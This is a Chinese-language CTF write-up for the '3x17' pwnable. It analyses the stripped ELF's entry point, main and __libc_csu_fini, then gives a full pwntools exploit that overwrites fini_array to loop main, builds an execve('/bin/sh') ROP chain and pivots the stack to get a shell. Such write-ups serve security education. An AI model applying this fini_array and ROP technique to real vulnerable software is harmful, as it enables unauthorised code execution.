title: 3x17
description: pwnable | elf文件格式 | ROP
##题目考点
- elf文件格式
- ROP
##解题思路
先checksec,amd64,有nx(其实也有canary但没检测出来),没开PIE,拖入ida进行分析,发现扣掉了符号表;
readelf -h一下,找到程序入口点,标准的start函数:
; Attributes: noreturn fuzzy-sp
public start
start proc near
; __unwind {
xor ebp, ebp
mov r9, rdx
pop rsi
mov rdx, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
push rax
push rsp
mov r8, offset sub_402960 ;r8中存入libc_csu_fini()地址
mov rcx, offset sub_4028D0 ;rcx中存入libc_csu_init()地址
mov rdi, offset sub_401B6D ;rdi中存入main()地址
db 67h
call sub_401EB0 ;call libc_start_main()函数
hlt
; } // starts at 401A50
start endp
根据elf文件的标准格式,获得main()等主要函数地址,先对主函数进行分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u); //canary
result = (unsigned __int8)++byte_4B9330; //可以char溢出(每过0x100次循环又重新归零),对解题影响不大
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, &buf, 0x18uLL);
v4 = (char *)(int)sub_40EE70(&buf);
sub_446EC0(1u, "data:", 5uLL);
sub_446E20(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}
在主函数的逻辑中,可以看到程序先读取了一个地址(int型),然后将其作为字符型指针,可以在该地址上写入0x18的数据;
因此,可以通过反复调用main函数在合适的地方构造ROP链,实现无限次的任意地址写入从而getshell;
根据对elf程序结构的了解,可以知道程序执行完main函数后,会执行_libc_csu_fini函数:
_libc_csu_fini proc near
; __unwind {
push rbp ;func prologue
lea rax, unk_4B4100 ;rax = 0x4B4100
lea rbp, off_4B40F0 ;rbp = 0x4B40F0
push rbx
sub rax, rbp ;即函数数组长度
sub rsp, 8
sar rax, 3 ;0x10 -> 0x02(16 bytes -> 2 个64位地址)
jz short loc_402996
lea rbx, [rax-1]
nop dword ptr [rax+00000000h]
loc_402988:
call qword ptr [rbp+rbx*8+0] ;先执行(*(rbp + 8))(), 再执行(*rbp)()
sub rbx, 1
cmp rbx, 0FFFFFFFFFFFFFFFFh
jnz short loc_402988
loc_402996:
add rsp, 8
pop rbx
pop rbp
jmp _term_proc
; } // starts at 402960
_libc_csu_fini endp
根据上述分析,发现可以通过修改0x4B40F0处 fini_array[2] 中元素的值,达到无限次循环调用_libc_csu_fini与main函数的目的,进而构造rop链getshell:
#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))
#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300 #到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))
p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)
至于rop链构造的位置,通过分析_libc_csu_fini函数以及fini_array地址附近可以发现,_fini_array附近有一片连续的可利用的地址空间且rbp值被设置为0x4B40F0,至于rsp的值可以通过leave;ret;语句来进行调整:
最初rbp指向0f0 - 0x8(libccsufini函数中有push rbx操作),不能直接leave;ret;
这里有两种选择: 仍然使finiarray[1] 为main函数地址,而后leaveret,或者先ret再leaveret;
(leave == mov rsp, rbp; pop rbp)
(ret == pop rip)
#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))
##exploit
直接组合起来即可getshell
from pwn import *
p = process("./3x17")
#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))
#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300 #到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))
p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)
#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))
p.interactive()